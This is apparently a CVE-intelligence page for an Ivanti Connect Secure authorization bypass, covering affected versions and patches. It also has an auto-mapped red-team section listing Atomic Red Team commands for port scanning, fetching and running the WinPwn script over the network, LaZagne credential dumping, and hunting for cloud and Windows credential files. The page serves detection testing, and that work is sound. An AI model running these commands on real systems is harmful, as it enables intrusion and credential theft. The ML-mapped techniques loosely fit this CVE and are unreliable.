CVE-2025-55142
Overview
This vulnerability is an authorization bypass affecting Ivanti Connect Secure and related products. The root cause is the improper enforcement of authorization checks in authentication configuration management components, allowing users with read-only administrative privileges to modify sensitive settings. The flaw resides in the access control logic governing authentication-related configuration interfaces prior to specific fixed versions.
Vulnerability Description
Missing authorization in Ivanti Connect Secure before 22.7R2.9 or 22.8R2, Ivanti Policy Secure before 22.7R1.6, Ivanti ZTA Gateway before 2.8R2.3-723 and Ivanti Neurons for Secure Access before 22.8R1.4 (Fix deployed on 02-Aug-2025) allows a remote authenticated attacker with read-only admin privileges to configure authentication related settings.
Impact
An attacker with valid read-only administrative credentials can alter authentication-related configurations, potentially weakening security controls or enabling further unauthorized access. Exploitation requires authenticated network access with limited privileges, but no user interaction beyond authentication. The vulnerability impacts confidentiality, integrity, and availability (CVSS 8.8), allowing privilege escalation within the management plane and undermining secure access policies.
Solution
Ivanti has released patches addressing this authorization bypass in the September 2025 security advisory. Affected products should be updated to Ivanti Connect Secure 22.7R2.9 or 22.8R2, Ivanti Policy Secure 22.7R1.6 or later, Ivanti ZTA Gateway 2.8R2.3-723 or later, and Ivanti Neurons for Secure Access 22.8R1.4 or later. Refer to the vendor advisory at https://forums.ivanti.com/s/article/September-Security-Advisory-Ivanti-Connect-Secure-Policy-Secure-ZTA-Gateways-and-Neurons-for-Secure-Access-Multiple-CVEs?language=en_US for detailed patching instructions and update procedures.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in Ivanti Connect Secure, Policy Secure, ZTA Gateway, and Neurons for Secure Access arises from a critical oversight in authorization mechanisms. Specifically, the flaw allows remote authenticated users with read-only administrative privileges to manipulate authentication-related settings. This lack of proper authorization checks means that users who should only have limited access can potentially alter configurations that are meant to be restricted to higher privilege levels. The affected versions of these products include various iterations of Ivanti Connect Secure and Policy Secure, as well as specific releases of the ZTA Gateway and Neurons for Secure Access.
Exploitation of this vulnerability can occur through multiple attack vectors. An attacker with read-only access can leverage their privileges to change authentication settings, which may include modifying user access controls, adjusting multi-factor authentication requirements, or even redirecting authentication flows. This manipulation can lead to unauthorized access to sensitive data or systems, as the attacker can effectively weaken the security posture of the affected environment. Scenarios may involve an insider threat, where a disgruntled employee exploits their access, or an external attacker who has gained limited access through phishing or other means, escalating their privileges through this vulnerability.
The real-world impact of this vulnerability can be significant, posing substantial business risks. Organizations relying on these Ivanti products for secure access and policy enforcement may find themselves exposed to data breaches, compliance violations, and reputational damage. The ability for an attacker to alter authentication settings could lead to unauthorized access to critical systems, resulting in data theft or manipulation. Furthermore, the financial implications of a breach, including remediation costs, regulatory fines, and loss of customer trust, can be severe. The high CVSS score of 8.8 underscores the urgency for organizations to address this vulnerability promptly.
Detection of this vulnerability requires a proactive approach, including regular audits of user permissions and access logs to identify any unauthorized changes to authentication settings. Organizations should implement monitoring solutions that can alert administrators to suspicious activities, particularly changes made by users with read-only privileges. Additionally, employing a principle of least privilege can help mitigate the risk by ensuring that users have only the access necessary for their roles.
Mitigation strategies should focus on applying the latest patches provided by Ivanti, as the vendor has released fixes for the affected products. Organizations should prioritize updating their systems to the latest secure versions to close this vulnerability. Furthermore, enhancing security training for employees can help reduce the risk of exploitation through social engineering tactics. By combining technical controls with user education, organizations can strengthen their defenses against potential attacks exploiting this vulnerability.
Affected Products (31)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Ivanti | Connect Secure | All |
cpe:2.3:a:ivanti:connect_secure:*:*:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 22.7 |
cpe:2.3:a:ivanti:connect_secure:22.7:-:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 22.7 |
cpe:2.3:a:ivanti:connect_secure:22.7:r1:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 22.7 |
cpe:2.3:a:ivanti:connect_secure:22.7:r1.1:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 22.7 |
cpe:2.3:a:ivanti:connect_secure:22.7:r1.2:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 22.7 |
cpe:2.3:a:ivanti:connect_secure:22.7:r1.3:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 22.7 |
cpe:2.3:a:ivanti:connect_secure:22.7:r1.4:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 22.7 |
cpe:2.3:a:ivanti:connect_secure:22.7:r1.5:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 22.7 |
cpe:2.3:a:ivanti:connect_secure:22.7:r2:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 22.7 |
cpe:2.3:a:ivanti:connect_secure:22.7:r2.1:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 22.7 |
cpe:2.3:a:ivanti:connect_secure:22.7:r2.2:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 22.7 |
cpe:2.3:a:ivanti:connect_secure:22.7:r2.3:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 22.7 |
cpe:2.3:a:ivanti:connect_secure:22.7:r2.4:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 22.7 |
cpe:2.3:a:ivanti:connect_secure:22.7:r2.5:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 22.7 |
cpe:2.3:a:ivanti:connect_secure:22.7:r2.6:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 22.7 |
cpe:2.3:a:ivanti:connect_secure:22.7:r2.7:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 22.7 |
cpe:2.3:a:ivanti:connect_secure:22.7:r2.8:*:*:*:*:*:*
|
|
|
Ivanti | Policy Secure | All |
cpe:2.3:a:ivanti:policy_secure:*:*:*:*:*:*:*:*
|
|
|
Ivanti | Policy Secure | 22.7 |
cpe:2.3:a:ivanti:policy_secure:22.7:-:*:*:*:*:*:*
|
|
|
Ivanti | Policy Secure | 22.7 |
cpe:2.3:a:ivanti:policy_secure:22.7:r1:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-665 | Exploitation of Thunderbolt Protection Flaws |
40%
|
Low | Very High |
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-55142 |
| forums.ivanti.com |
GitHub CVE
|
https://forums.ivanti.com/s/article/September-Security-Advisory-Ivanti-Connect-Secure-Policy-Secure-ZTA-Gateways-and-Neurons-for-Secure-Access-Multiple-CVEs?language=en_US |